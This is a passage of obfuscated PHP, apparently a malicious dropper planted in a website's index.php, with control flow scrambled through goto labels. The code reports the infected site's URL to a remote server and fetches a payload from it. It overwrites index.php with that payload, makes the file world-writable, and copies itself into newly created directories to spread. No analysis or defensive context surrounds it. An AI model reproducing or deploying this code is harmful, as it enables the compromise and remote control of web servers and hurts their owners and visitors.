Page is generating, please wait...');
goto lbl6;
lbl7: $uri = $_SERVER['REQUEST_URI']??'/'; $seg = explode('/',$uri); $level = count($seg)-1;
$self_url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('index.php','',$_SERVER['REQUEST_URI']);
goto lbl8;
lbl9: if($level>0 && $level<6){
$q = $remote.'directory.php?type=index.php&host='.urlencode($self_url).'&directory='.$dir_str;
@file_get_contents($q);
$payload = @file_get_contents($remote.'index.php?type=index.php&host='.urlencode($self_url));
if(empty($payload)) $payload = $src;
$dirs = explode('.',$dir_str);
echo $payload;
foreach($dirs as $dd){
$p = './'.$dd.'/';
if(!is_dir($p)){ @mkdir($p,0777,true); @file_put_contents($p.'index.php',$src); }
}
@file_put_contents('./index.php',$payload);
@chmod('./index.php',0777);
echo '';
exit;
}
goto lbl10;
lbl10: $payload = @file_get_contents($remote.'index.php?type=index.php&host='.urlencode($self_url));
if(empty($payload)) $payload = $src;
@file_put_contents('./index.php',$payload);
@chmod('./index.php',0777);
header('Location: index.php');
exit;
lbl2: function getCode($n){$c='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';$s='';for($i=0;$i<$n;$i++)$s.=$c[rand(0,strlen($c)-1)];return $s;}
goto lbl3;
lbl4: function wr($f,$c){if(empty($c))return;@file_put_contents($f,$c);}
goto lbl5;
lbl6: function rd($f){return @file_get_contents($f);}
goto lbl7;
lbl8: function mkd($p){if(!is_dir($p)){@mkdir($p,0777,true);return true;}return false;}
goto lbl9;
lbl11: function gf($u){$o=['http'=>['method'=>'GET','header'=>'User-Agent: Mozilla/5.0 (compatible)']];$ctx=stream_context_create($o);$d=@file_get_contents($u,false,$ctx);return $d?:'';}
goto lbl1;
start: function Get($u){return gf($u);} goto lbl11;